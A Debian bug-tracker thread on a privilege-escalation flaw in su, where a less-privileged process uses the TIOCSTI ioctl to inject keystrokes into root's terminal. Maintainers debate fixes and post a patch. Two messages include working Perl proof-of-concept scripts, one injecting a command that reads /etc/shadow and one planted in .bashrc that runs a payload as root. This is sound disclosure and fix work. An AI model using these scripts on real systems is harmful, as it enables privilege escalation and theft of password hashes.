Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Source: shadow Followup-For: Bug #628843 -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 su/runuser are provided by util-linux these days. Can this bug be closed? - -- System Information: Debian Release: 12.0 APT prefers testing APT policy: (530, 'testing'), (520, 'unstable'), (500, 'testing-security'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 6.1.0-7-amd64 (SMP w/2 CPU threads; PREEMPT) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled -BEGIN PGP SIGNATURE- iIgEARYIADAWIQTWOGqGn6HETecdzqZOEaKLhlAYigUCZEo5zxIcc2FtQHJvYm90 cy5vcmcudWsACgkQThGii4ZQGIrPXQD/cwQDVq34zy/KZ0iOzcsQGfwUYiCrycss qdxSuGlBoiEBANAB1vhWhZVyDYG5e/E8qrYXKMiVvOW+G7UxvH+tXaEM =oCdS -END PGP SIGNATURE-
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 11:07:59PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > It's an invasion of privacy, as I said, for normal users. Sure, but that's not my use case. > In your case, if you're changing to an unprivileged user without a shell nor > password, probably some sort of "locked" account, how is an attacker going > to make use of TIOCSTI to exploit your system? (Assuming you're not going to > run untrusted applications). > > Now imagine that that locked user got compromised. Changing to a compromised > user IS and will ALWAYS be bad practice. So, if you don't know if the user > is compromised or not, don't log into that account, as simple as that. All > sorts of bad things can happen. I see your point. But there's always a trade-off between security and usability. And logging in as a (possibly compromised) user makes working with user separation much easier and should still be as secure as possible (that's why I want to fix su and sudo). I know an attacker could exploit my terminal emulator when I log in, but it's better than no isolation at all IMHO. Anyway, this is off-topic, so let's take this off-list if you want to discuss it further. Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Simon Ruderich" : It's an invasion of privacy, as I said, for normal users. In your case, if you're changing to an unprivileged user without a shell nor password, probably some sort of "locked" account, how is an attacker going to make use of TIOCSTI to exploit your system? (Assuming you're not going to run untrusted applications). Now imagine that that locked user got compromised. Changing to a compromised user IS and will ALWAYS be bad practice. So, if you don't know if the user is compromised or not, don't log into that account, as simple as that. All sorts of bad things can happen. Just my 2 cents. On Mon, Oct 03, 2016 at 09:58:23PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: Anyways, it is bad admin practice and/or an invasion of privacy to su to an unprivileged user. Please explain to me why this is bad admin practice. Lets assume I have an unprivileged user which is used to execute a script in an isolated context. Now that script breaks and I have to debug it. The user has no shell nor password. How do I run a command as that user? What I did in the past was to run su -s /bin/sh user and then debug and fix the problem. What is wrong with that setup? This has been talked alot in the past, in most of the times even closed as "WONTFIX". In that case su should prevent a user from doing it, not causing a security hole and not documenting that fact. What I'm saying is, it's OK if you can't come up with something. Better use 'su -c' in any case. Often a terminal with a shell makes debugging much less painful. su -c doesn't help there. Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 09:58:23PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > Anyways, it is bad admin practice and/or an invasion of privacy to su to an > unprivileged user. Please explain to me why this is bad admin practice. Lets assume I have an unprivileged user which is used to execute a script in an isolated context. Now that script breaks and I have to debug it. The user has no shell nor password. How do I run a command as that user? What I did in the past was to run su -s /bin/sh user and then debug and fix the problem. What is wrong with that setup? > This has been talked alot in the past, in most of the times even closed as > "WONTFIX". In that case su should prevent a user from doing it, not causing a security hole and not documenting that fact. > What I'm saying is, it's OK if you can't come up with something. Better use > 'su -c' in any case. Often a terminal with a shell makes debugging much less painful. su -c doesn't help there. Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 09:49:08PM +0200, Karel Zak wrote: > Yes, I'm thinking about this way (as discussed on util-linux > mailing list), but it's relatively complex. I have a working solution here. It's a standalone program and not very well tested, but works fine for me. Just tell me if you want to get the source. (Disclaimer: I'm no terminal expert, so be careful with trusting it too much.) This bug also has some patches which implement exactly that and may just need a little refinement. Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Karel Zak" : Anyways, it is bad admin practice and/or an invasion of privacy to su to an unprivileged user. This has been talked alot in the past, in most of the times even closed as "WONTFIX". What I'm saying is, it's OK if you can't come up with something. Better use 'su -c' in any case. On Mon, Oct 03, 2016 at 09:34:14PM +0200, Simon Ruderich wrote: On Mon, Oct 03, 2016 at 09:22:50PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > Loss of job control in the shell. I'm confused. I'm not talking about removing the controlling terminal, but instead spawning a new session, opening a new pts and connecting that to the program. This way the program has a tty, job control works, but the tty is different and therefore can't be controlled by the less-privileged account. Yes, I'm thinking about this way (as discussed on util-linux mailing list), but it's relatively complex. My plan is to try to implement it. We will see. Karel -- Karel Zak http://karelzak.blogspot.com This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 09:34:14PM +0200, Simon Ruderich wrote: > On Mon, Oct 03, 2016 at 09:22:50PM +0200, up201407...@alunos.dcc.fc.up.pt > wrote: > > Loss of job control in the shell. > > I'm confused. I'm not talking about removing the controlling > terminal, but instead spawning a new session, opening a new pts > and connecting that to the program. This way the program has a > tty, job control works, but the tty is different and therefore > can't be controlled by the less-privileged account. Yes, I'm thinking about this way (as discussed on util-linux mailing list), but it's relatively complex. My plan is to try to implement it. We will see. Karel -- Karel Zak http://karelzak.blogspot.com
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 09:22:50PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > Loss of job control in the shell. I'm confused. I'm not talking about removing the controlling terminal, but instead spawning a new session, opening a new pts and connecting that to the program. This way the program has a tty, job control works, but the tty is different and therefore can't be controlled by the less-privileged account. Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Simon Ruderich" : Loss of job control in the shell. On Mon, Oct 03, 2016 at 04:22:47PM +0200, Karel Zak wrote: The problem is that we don't want to use setsid() in all situations, because it will introduce regressions. From util-linux ReleaseNotes: Hello, Thanks for your quick reply. In which situations will this cause regressions? I tried to find cases where this will break, but I can't think of any (I guess that's because I'm just using su in a very basic way). Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 04:22:47PM +0200, Karel Zak wrote: > The problem is that we don't want to use setsid() in all situations, > because it will introduce regressions. From util-linux ReleaseNotes: Hello, Thanks for your quick reply. In which situations will this cause regressions? I tried to find cases where this will break, but I can't think of any (I guess that's because I'm just using su in a very basic way). Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 04:11:41PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > Btw, at least in redhat based systems, su uses setsid() when the -c option > is given, just like use_pty in sudo. Not sure if this is true in debian. Yes, that's true in Debian as well. Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 03:34:49PM +0200, Simon Ruderich wrote: > @Karel: Could you please have a look at the patches in this bug > report which use setsid() to create a new session and adapt your > commit with a patch based on this approach? Sudo's use_pty option > does the same to fix this issue (but not enabled by default). I'll think about it. Karel -- Karel Zak http://karelzak.blogspot.com
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Mon, Oct 03, 2016 at 04:11:41PM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > Quoting "Simon Ruderich" : > > Btw, at least in redhat based systems, su uses setsid() when the -c option > is given, just like use_pty in sudo. Not sure if this is true in debian. The problem is that we don't want to use setsid() in all situations, because it will introduce regressions. From util-linux ReleaseNotes: CVE-2016-2779 This security issue is NOT FIXED yet. It is possible to disable the ioctl TIOCSTI by setsid() only. Unfortunately, setsid() has well-defined use cases in su(1) and runuser(1) and any changes would introduce regressions. It seems we need a better way -- ideally another ioctl (or whatever is supported by the kernel) to disable TIOCSTI without setsid(). and yes, blacklisting ioctl is hack. Karel -- Karel Zak http://karelzak.blogspot.com
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting "Simon Ruderich" : Btw, at least in redhat based systems, su uses setsid() when the -c option is given, just like use_pty in sudo. Not sure if this is true in debian. On Sun, Oct 02, 2016 at 10:54:06AM +0200, up201407...@alunos.dcc.fc.up.pt wrote: Hello Simon, This has been recently patched by using seccomp to blacklist this ioctl. https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2 Hello, This is an awful hack! Blacklisting this single ioctl will fix only this specific issue, but the underlying problem, that the unprivileged user has access to the original tty, is still unfixed. The (later) patches in this bug report go in a different direction and fix the underlying problem by opening a new session with a separate tty and "proxying" the output (SSH also uses this approach - only over the network). This seems to me like a much better option than blacklisting a single ioctl. @Karel: Could you please have a look at the patches in this bug report which use setsid() to create a new session and adapt your commit with a patch based on this approach? Sudo's use_pty option does the same to fix this issue (but not enabled by default). Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Sun, Oct 02, 2016 at 10:54:06AM +0200, up201407...@alunos.dcc.fc.up.pt wrote: > Hello Simon, > > This has been recently patched by using seccomp to blacklist this ioctl. > > https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2 Hello, This is an awful hack! Blacklisting this single ioctl will fix only this specific issue, but the underlying problem, that the unprivileged user has access to the original tty, is still unfixed. The (later) patches in this bug report go in a different direction and fix the underlying problem by opening a new session with a separate tty and "proxying" the output (SSH also uses this approach - only over the network). This seems to me like a much better option than blacklisting a single ioctl. @Karel: Could you please have a look at the patches in this bug report which use setsid() to create a new session and adapt your commit with a patch based on this approach? Sudo's use_pty option does the same to fix this issue (but not enabled by default). Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Hello Simon, This has been recently patched by using seccomp to blacklist this ioctl. https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2 This message was sent using IMP, the Internet Messaging Program.
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Package: login Version: 1:4.2-3+deb8u1 Followup-For: Bug #628843 Hello, Any news on this? I'm deeply worried that this security issue in su was not fixed since it was reported over 5 years ago! It still affects jessie and sid. And the possible implications are not mentioned in the man page. As this breaks the use of su to change to less-privileged users, what is the recommendation to perform this task without using su? Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x1972F726F0D556E7 signature.asc Description: Digital signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI, ioctl
found 1:4.1.5.1-1 This problem still exists in Wheezy. -- Ismaël RUAU -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Hello, I think Ismaël has a point here: > I'm bumping this bug to point out that the problem is not 100% fixed. > Even though "su -c" is now safe, interactive "su" or "su -" are still at > risk and this should probably be reflected here on the BTS. I successfully used this on my up-to-date Squeeze system. However, one can use the following workaround to avoid giving root access: # exec su baduser However this is still problematic: niceguy$ su root$ exec su badguy badguy$ ./exploit.pl => the command is still launched by niceguy. Not sure if a "good" solution exists... Fabien C. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Hello, I'm bumping this bug to point out that the problem is not 100% fixed. Even though "su -c" is now safe, interactive "su" or "su -" are still at risk and this should probably be reflected here on the BTS. Unfortunately I don't see any way to fix this without removing the controlling terminal of su'ed interactive shells like "su -c" does, but this would totally cripple su and render su'ed interactive shells unusable ("su" would then become equivalent to "su -c $SHELL" and we'd hit bug #659878 which is a PITA). I'll leave it to you maintainers whether to actually reopen this bug or not. Scenario: root uses su to get an interactive shell into a compromised user account, which uses the aforementioned exploit, just slightly modified to send an exit before the actual payload. On the compromised account side: CONSOLE OUTPUT test-user$ cat ~/exploit.pl #!/usr/bin/perl require "sys/ioctl.ph"; open my $tty_fh, '<', '/dev/tty' or die $!; foreach my $c (split //, "exit\n".'echo Payload as $(whoami)'.$/) { ioctl($tty_fh, &TIOCSTI, $c); } test-user$ cat ~/.bashrc perl $HOME/exploit.pl END CONSOLE OUTPUT Now root actually uses su. Note that the only user keystrokes are the initial "su test-user", the rest is entirely automatic and part of the exploit (I included the user/root shell prompts as displayed on my terminal). CONSOLE OUTPUT root# su test-user exit echo Payload as $(whoami) test-user$ exit root# echo Payload as $(whoami) Payload as root END CONSOLE OUTPUT -- Ismaël RUAU -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#628843: [Pkg-shadow-devel] Bug#628843: Bug#628843: (forw) Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Hello, One more point to be reviewed. shadow-utils supports also configurations where PAM is not used. In that case, su does not fork to exec the interactive shell / command, so I cannot use setsid(). In that case, I intend to use: #include #include #include #include #include int fd; if ((fd = open ("/dev/tty", O_RDWR)) >= 0) { ioctl (fd, TIOCNOTTY, (char *) 0); close (fd); } I think this should be sufficient to protect the terminal (i.e. re-attaching to it is not possible). This looks simpler than: pid_t child = fork(); if (child == -1) { ... } else if (child > 0) { _exit(0); } setsid(); (In this version I would need again to handle the signals manually instead of the _exit()) Also if the above ioctl is sufficient, is there a benefit from setsid()? Best Regards, -- Nekral -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#628843: [Pkg-shadow-devel] Bug#628843: (forw) Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Quoting Thijs Kinkhorst (th...@debian.org): > Hi Christian, > > I'm just mailing to confirm that we did record the issue in our tracker and > to > point out that this issue is currently also discueed on oss-security: > http://thread.gmane.org/gmane.comp.security.oss.general/5172 Thanks, Thijs, for your answer. I'm more reliefed now that Nicolas popped up and even proposed a preliminary patch. I don't have the expertise to give any advice about his patch but I think that we have there a good start for an up-to-come fix. During last week, Nicolas was active "cleaning out" things for shadow so I think we can have some good hope to have a fixed issue at some moment in the near future... But, as Nicolas mentioned, an expert review of his proposal would be very much welcomed. signature.asc Description: Digital signature
Bug#628843: (forw) [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Op donderdag 02 juni 2011 07:34:59 schreef Christian PERRIER: > Security team, I need advice and help here. My co-maintainer for > shadow, Nicolas, is more or less MIA, so I'm left nearly alone to > maintain shadow. As Nicolas was also upstream, you understand how > desperate is my situation..:-) > > (maybe this bug will ring a bell for Nicolas, still) > > My expertise is, as you may expect, way outreached. So, in short, what > I need is someone with enough expertise to look at this bug report and > help deciding if adopting Redhat's patch is correct (assuming it > applies: I'm not sure that RH is using the same "su" than we do). > > Mail CC'ed to submitter, too, so that Daniel also knows that the only > person who answersneeds help..:-) Hi Christian, I'm just mailing to confirm that we did record the issue in our tracker and to point out that this issue is currently also discueed on oss-security: http://thread.gmane.org/gmane.comp.security.oss.general/5172 Thijs -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Hello, Here is a patch proposal. It forwards the right signal to the child also supports SIGTSTP. I would appreciate if this could be reviewed by somebody more confident with signal processing than me. I expect sudo to have the same issue. Also sg probably has the same issue (i.e. it cannot be used to drop group privileges). I will look at it. Other utils to switch user or group might also be affected. (Anybody got a list and could try?) Best Regards, -- Nekral Index: src/su.c === --- src/su.c (révision 3317) +++ src/su.c (copie de travail) @@ -88,7 +88,7 @@ #ifdef USE_PAM static pam_handle_t *pamh = NULL; -static bool caught = false; +static int caught = 0; /* PID of the child, in case it needs to be killed */ static pid_t pid_child = 0; #endif @@ -235,9 +235,9 @@ #ifdef USE_PAM /* Signal handler for parent process later */ -static void catch_signals (unused int sig) +static void catch_signals (int sig) { - caught = true; + caught = sig; } /* This I ripped out of su.c from sh-utils after the Mandrake pam patch @@ -264,6 +264,11 @@ if (doshell) { (void) shell (shellstr, (char *) args[0], envp); } else { + /* There is no need for a controlling terminal. + * This avoids the callee to inject commands on + * the caller's tty. */ + (void) setsid (); + execve_shell (shellstr, (char **) args, envp); } @@ -283,9 +288,9 @@ (void) fprintf (stderr, _("%s: signal malfunction\n"), Prog); - caught = true; + caught = SIGTERM; } - if (!caught) { + if (0 == caught) { struct sigaction action; action.sa_handler = catch_signals; @@ -296,36 +301,66 @@ if ( (sigaddset (&ourset, SIGTERM) != 0) || (sigaddset (&ourset, SIGALRM) != 0) || (sigaction (SIGTERM, &action, NULL) != 0) + || ( !doshell /* handle SIGINT (Ctrl-C), SIGQUIT + * (Ctrl-\), and SIGTSTP (Ctrl-Z) + * since the child does not control + * the tty anymore. + */ + && ( (sigaddset (&ourset, SIGINT) != 0) + || (sigaddset (&ourset, SIGQUIT) != 0) + || (sigaddset (&ourset, SIGTSTP) != 0) + || (sigaction (SIGINT, &action, NULL) != 0) + || (sigaction (SIGQUIT, &action, NULL) != 0)) + || (sigaction (SIGTSTP, &action, NULL) != 0)) || (sigprocmask (SIG_UNBLOCK, &ourset, NULL) != 0) ) { fprintf (stderr, _("%s: signal masking malfunction\n"), Prog); - caught = true; + caught = SIGTERM; } } - if (!caught) { + if (0 == caught) { + bool stop = true; + do { pid_t pid; + stop = true; pid = waitpid (-1, &status, WUNTRACED); - if (((pid_t)-1 != pid) && (0 != WIFSTOPPED (status))) { + /* When interrupted by signal, the signal will be + * forwarded to the child, and termination will be + * forced later. + */ + if ( ((pid_t)-1 == pid) + && (EINTR == errno) + && (SIGTSTP == caught)) { +/* Except for SIGTSTP, which request to + * stop the child. + * We will SIGSTOP ourself on the next + * waitpid round. + */ +kill (child, SIGSTOP); +stop = false; + } else if ( ((pid_t)-1 != pid) + && (0 != WIFSTOPPED (status))) { /* The child (shell) was suspended. * Suspend su. */ kill (getpid (), SIGSTOP); /* wake child when resumed */ kill (pid, SIGCONT); +stop = false; } - } while (0 != WIFSTOPPED (status)); + } while (!stop); } - if (caught) { + if (0 != caught) { (void) fputs ("\n", stderr); (void) fputs (_("Session terminated, terminating shell..."), stderr); - (void) kill (child, SIGTERM); + (void) kill (child, caught); } ret = pam_close_session (pamh, 0); @@ -339,7 +374,7 @@ ret = pam_end (pamh, PAM_SUCCESS); - if (caught) { + if (0 != caught) { (void) signal (SIGALRM, kill_child); (void) alarm (2);
Bug#628843: (forw) [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
On Thu, Jun 02, 2011 at 07:34:59AM +0200, Christian PERRIER wrote: > My expertise is, as you may expect, way outreached. So, in short, what > I need is someone with enough expertise to look at this bug report and > help deciding if adopting Redhat's patch is correct (assuming it > applies: I'm not sure that RH is using the same "su" than we do). Ok, to give more context to the fix applied by RedHat. What they did was use setsid() to start a new session and remove the controlling terminal from the running command. This removes from the child process the ability to open "/dev/tty", which is how the hijacking works. But doing only that is complicated because the translation of Ctrl+C to SIGINT depends on controlling the tty, so you wouldn't be able to stop the process easily. What they did was simply to add SIGINT to the signal mask that causes the su to exit the waitpit loop. The thing I don't like about RedHat's patch is that it turns a SIGINT on su into a SIGTERM to the process, it would be better to send the same signal received. I don't have the time to do it right now, but I can give a shot on writing a patch that preserves the signal interaction sane, which is not the case in RedHat. daniel signature.asc Description: Digital signature
Bug#628843: (forw) [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
tags 628843 help security thanks Security team, I need advice and help here. My co-maintainer for shadow, Nicolas, is more or less MIA, so I'm left nearly alone to maintain shadow. As Nicolas was also upstream, you understand how desperate is my situation..:-) (maybe this bug will ring a bell for Nicolas, still) My expertise is, as you may expect, way outreached. So, in short, what I need is someone with enough expertise to look at this bug report and help deciding if adopting Redhat's patch is correct (assuming it applies: I'm not sure that RH is using the same "su" than we do). Mail CC'ed to submitter, too, so that Daniel also knows that the only person who answersneeds help..:-) - Forwarded message from Daniel Ruoso - Date: Wed, 1 Jun 2011 15:24:47 -0400 From: Daniel Ruoso To: Debian Bug Tracking System Subject: [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl Reply-To: Daniel Ruoso , 628...@bugs.debian.org X-CRM114-Status: Good ( pR: 39.0933 ) Package: login Version: 1:4.1.4.2+svn3283-2+squeeze1 Severity: critical After investigating why RedHat have a different behavior regarding "su -c" I found out that there was a patch in RedHat to prevent tty hijacking when using "su -c". What makes the hijacking possible is that "su -c" still gives the command a controlling tty, which means it has ioctl access to /dev/tty. This means it can send things to the tty input buffer, which will be read just after su ends. The original report (with patch) on RedHat (from 2005?!?!?!) is: https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=173008 A very simple exploit follows (Perl code) BEGIN_CODE #!/usr/bin/perl require "sys/ioctl.ph"; open my $tty_fh, '<', '/dev/tty' or die $!; foreach my $c (split //, 'cat /etc/shadow'.$/) { ioctl($tty_fh, &TIOCSTI, $c); } END_CODE The scenario is: Root runs a command as a less priviledged user with "su -c", if the user was compromised, the script will be able to run commands as root by injecting keystrokes on the terminal. -- System Information: Debian Release: 6.0.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.32-5-686 (SMP w/1 CPU core) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages login depends on: ii libc6 2.11.2-10 Embedded GNU C Library: Shared lib ii libpam-modules1.1.1-6.1 Pluggable Authentication Modules f ii libpam-runtime1.1.1-6.1 Runtime support for the PAM librar ii libpam0g 1.1.1-6.1 Pluggable Authentication Modules l login recommends no packages. login suggests no packages. -- no debconf information ___ Pkg-shadow-devel mailing list pkg-shadow-de...@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-shadow-devel - End forwarded message - -- signature.asc Description: Digital signature
Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Package: login Version: 1:4.1.4.2+svn3283-2+squeeze1 Severity: critical After investigating why RedHat have a different behavior regarding "su -c" I found out that there was a patch in RedHat to prevent tty hijacking when using "su -c". What makes the hijacking possible is that "su -c" still gives the command a controlling tty, which means it has ioctl access to /dev/tty. This means it can send things to the tty input buffer, which will be read just after su ends. The original report (with patch) on RedHat (from 2005?!?!?!) is: https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=173008 A very simple exploit follows (Perl code) BEGIN_CODE #!/usr/bin/perl require "sys/ioctl.ph"; open my $tty_fh, '<', '/dev/tty' or die $!; foreach my $c (split //, 'cat /etc/shadow'.$/) { ioctl($tty_fh, &TIOCSTI, $c); } END_CODE The scenario is: Root runs a command as a less priviledged user with "su -c", if the user was compromised, the script will be able to run commands as root by injecting keystrokes on the terminal. -- System Information: Debian Release: 6.0.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.32-5-686 (SMP w/1 CPU core) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages login depends on: ii libc6 2.11.2-10 Embedded GNU C Library: Shared lib ii libpam-modules1.1.1-6.1 Pluggable Authentication Modules f ii libpam-runtime1.1.1-6.1 Runtime support for the PAM librar ii libpam0g 1.1.1-6.1 Pluggable Authentication Modules l login recommends no packages. login suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org